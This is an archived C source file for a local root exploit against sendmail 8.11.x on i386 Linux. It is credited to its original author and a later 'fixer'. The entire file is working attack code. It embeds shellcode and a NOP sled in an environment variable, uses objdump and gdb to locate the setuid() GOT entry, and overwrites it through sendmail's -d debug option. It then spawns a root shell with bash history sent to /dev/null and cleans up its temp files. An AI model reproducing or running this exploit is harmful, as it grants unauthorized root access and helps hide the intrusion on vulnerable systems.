home *** CD-ROM | disk | FTP | other *** search
- /*
- * sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
- * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- * fixed by Marcin Bukowski <insect@insect.hack.pl>
- *
- * <insect> I'll change, and fix this code requested by friend
- * for him
- *
- * -d specify depth of analysis (32) [bigger = more time]
- * -o change offset (-32000) [between 1000..-64000]
- * -v specify victim (/usr/sbin/sendmail) [suided binary]
- * -t specify temp directory (/tmp/.s11x)
- *
- * simply try to run an exploit without parameters
- * ---------------------------------------------------------------
- *
- */
-
-
-
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <strings.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #include <signal.h>
- #include <wait.h>
- #include <sys/stat.h>
-
- #define SM "/usr/sbin/sendmail"
-
- #define OBJDUMP "objdump"
-
- #define GDB "gdb"
-
- #define GREP "grep"
-
- #define COPYCMD "/bin/cp"
-
- #define RMCMD "/bin/rm"
-
- #define OURDIR "/tmp/.s11x"
-
- #define DLINE \
- "%s -d %s 2> /dev/null | %s -B %d \
- \"mov.*%%.l,(%%e..,%%e..,1)\" |\
- %s \".mov.*0x80.*,%%e..\""
-
- #define DLINEA OBJDUMP, vict, GREP, depth, GREP
-
- #define BRUTE_DLINE \
- "%s -d %s 2> /dev/null | %s \
- \".mov.*0x80.*,%%e..\""
-
- #define BRUTE_DLINEA OBJDUMP, vict, GREP
-
- #define NOPLEN 32768
-
- #define NOP 0x90
-
- char shellcode[] =
- "\xeb\x0c\x5b\x31\xc0\x50\x89\xe1\x89"
- "\xe2\xb0\x0b\xcd\x80\xe8\xef\xff\xff\xff";
-
- char scode[512];
-
- char dvict[] = SM;
-
- struct target {
- uint off;
- uint brk;
- uint vect;
- };
-
- unsigned int get_esp() {
- __asm__("movl %esp,%eax");
- }
-
- char ourdir[256] = OURDIR;
-
- void giveup(int i) {
- char buf[256];
- sprintf(buf, "%s -rf %s > /dev/null 2> /dev/null",
- RMCMD, ourdir);
- system(buf);
- // printf("[*] removing temp directory - %s\n",
- // ourdir);
- if (i >= 0) exit(i);
- }
-
- void sploit(char *victim, uint got, uint vect, uint ret) {
- unsigned char egg[sizeof(scode) + NOPLEN + 5];
- char s[512] = "-d";
- char *argv[3];
- char *envp[2];
- uint first, last, i;
-
- strcpy(egg, "EGG=");
- memset(egg + 4, NOP, NOPLEN);
- strcpy(egg + 4 + NOPLEN, scode);
- last = first = -vect - (0xffffffff - got + 1);
- while (ret) {
- char tmp[256];
- i = ret & 0xff;
- sprintf(tmp, "%u-%u.%u-", first, last, i);
- strcat(s, tmp);
- last = ++first;
- ret = ret >> 8;
- }
- s[strlen(s) - 1] = 0;
- argv[0] = victim;
- argv[1] = s;
- argv[2] = NULL;
- envp[0] = egg;
- envp[1] = NULL;
- execve(victim, argv, envp);
- }
-
- int use(char *s) {
- printf("\n%s [command] [options]\n"
- "-h this help\n"
- "-d specify depth of analysis (32)\n"
- "-o change offset (-32000)\n"
- "-v specify victim (/usr/sbin/sendmail)\n"
- "-t specify temp directory (/tmp/.s11x)\n"
- "-b enables bruteforce (it can take 20-30 mins)\n", s);
- return 1;
- }
-
- int exploited = 0;
-
- void sigusr(int i) {
- exploited++;
- giveup(-1);
- }
-
- int main(int argc, char *argv[]) {
- char victim[256] = SM;
- char vict[256],gscr[256],
- path[256],d[256],buf[256];
- struct stat st;
- FILE *f;
- struct target t[1024];
- uint off,ep,l;
- int i,j,got,esp;
- int offset = -16384;
- int depth = 32;
- int brute = 0;
-
- if (!*argv) {
- dup2(2, 0);
- dup2(2, 1);
- setuid(0);
- setgid(0);
- kill(getppid(), SIGUSR1);
- printf(
- "------(*)>+== "
- "ENTERING ROOT SHELL"
- " ==+<(*)------"
- );
- fflush(stdout);
- chdir("/");
- setenv("PATH",
- "/bin:/usr/bin:/usr/local/bin:"
- "/sbin:/usr/sbin:/usr/local/sbin:"
- "/opt/bin:${PATH}",1);
- setenv("BASH_HISTORY",
- "/dev/null", 1);
- execl("/bin/bash", "-bash", NULL);
- }
- printf(
- " ------------------------------------------------\n"
- " Sendmail 8.11.x linux i386 exploit \n"
- " wroten by sd@sf.cz [sd@ircnet], \n"
- " fixed by insect@insect.hack.pl \n"
- " ------------------------------------------------\n"
- " type \"%s -h\" to get help\n",argv[0]
- );
-
- while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){
- switch (i) {
- case 'd':
- if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1))
- return use(argv[0]);
- break;
- case 'o':
- if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1))
- return use(argv[0]);
- break;
- case 'v':
- if (!optarg)
- return use(argv[0]);
- strcpy(victim,optarg);
- break;
- case 't':
- if (!optarg)
- return use(argv[0]);
- strcpy(ourdir, optarg);
- break;
- case 'b':
- brute++;
- break;
- case 'h':
- default:
- return use(argv[0]);
- }
- }
- if (brute)
- printf(
- "[*] brute force "
- "to 20-30mins\n");
- path[0] = 0;
- if (argv[0][0] != '/') {
- getcwd(path, 256);
- }
- sprintf(scode, "%s%s/%s",
- shellcode, path, argv[0]);
- esp = get_esp();
- close(0);
- signal(SIGUSR1, sigusr);
- giveup(-1);
- printf(
- " [Victim=%s][Depth=%d][Offset=%d]\n"
- " [Temp=%s][Offset=%d][ESP=0x%08x]\n",
- victim, depth, offset, ourdir, esp
- );
- stat(victim, &st);
- if ((st.st_mode & S_ISUID) == 0) {
- printf("[!] Error: %s doesn't have SUID mode\n",
- victim);
- }
- if (access(victim, R_OK + X_OK + F_OK) < 0) {
- printf("[!] Error: %s must exist, have mode +rx\n",
- victim);
- }
- if (mkdir(ourdir, 0777) < 0) {
- perror("[!] Error: creating temporary directory\n");
- giveup(1);
- }
- //printf("[*] creating temp directory - %s\n",
- // ourdir);
- sprintf(buf, "%s -R %s | %s setuid",
- OBJDUMP, victim, GREP);
- f = popen(buf, "r");
- if (fscanf(f, "%x", &got) != 1) {
- pclose(f);
- printf("[!] Error: cannot get "
- "setuid() GOT\n");
- giveup(1);
- }
- pclose(f);
- printf("[*] --> Step 1. setuid() "
- "[got=0x%08x]\n", got);
- sprintf(vict, "%s/sm", ourdir);
- printf("[*] --> Step 2. copy "
- "[%s->%s]\n", victim, vict);
- fflush(stdout);
- sprintf(buf, "%s -f %s %s",
- COPYCMD, victim, vict);
- system(buf);
- if (access(vict,R_OK+X_OK+F_OK)<0){
- printf(
- "[!] Error: copy victim to out temp\n");
- giveup(1);
- }
-
- printf(
- "[*] --> Step 3. disassm our "
- "[%s]\n", vict);
- fflush(stdout);
- if (!brute) {
- sprintf(buf,DLINE,DLINEA);
- } else {
- sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA);
- }
- f = popen(buf, "r");
- i = 0;
- while (fgets(buf,256,f)) {
- int k, dontadd=0;
- if (sscanf(buf,
- "%x: %s %s %s %s %s %s 0x%x,%s\n",
- &ep,d,d,d,d,d,d,&off,d)==9){
- for (k=0;k<i;k++){
- if (t[k].off==off)
- dontadd++;
- }
- if (!dontadd) {
- t[i].off = off;
- t[i++].brk = ep;
- }
- }
- }
- pclose(f);
- sprintf(gscr, "%s/gdb", ourdir);
- off = 0;
- for (j=0; j < i; j++) {
- f = fopen(gscr, "w+");
- if (!f) {
- printf("[!] Error: Cannot create gdb script\n");
- giveup(1);
- }
- fprintf(f,
- "break *0x%x\nr -d1-1.1\nx/x 0x%x\n",
- t[j].brk, t[j].off);
- fclose(f);
- sprintf(buf,
- "%s -batch -x %s %s 2> /dev/null",
- GDB, gscr, vict);
- f = popen(buf, "r");
- if (!f) {
- printf("[!] Error: Failed to spawn gdb!\n");
- giveup(1);
- }
- while (1) {
- char buf[256];
- char *p;
- t[j].vect = 0;
- p = fgets(buf, 256, f);
- if (!p) break;
- if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){
- t[j].vect = l;
- off++;
- break;
- }
- }
- pclose(f);
- if (t[j].vect) {
- int pid;
- printf(" ++[%d/%d](%d%%) "
- "GOT=0x%08x,VECT=0x%08x,"
- "OFF=%d\n", j, i, j*100/i,
- got, t[j].vect, offset);
- fflush(stdout);
- pid = fork();
- if (pid == 0) {
- close(1);
- sploit(victim,got,t[j].vect,esp+offset);
- }
- wait(NULL);
- if (exploited) {
- wait(NULL);
- printf(" [-*-] We rule! BYE! [-*-]\n");
- exit(0);
- }
- }
- }
- printf(
- "[!] ERROR: all targets failed,"
- "probably not buggie\n");
- giveup(1);
- }
-
-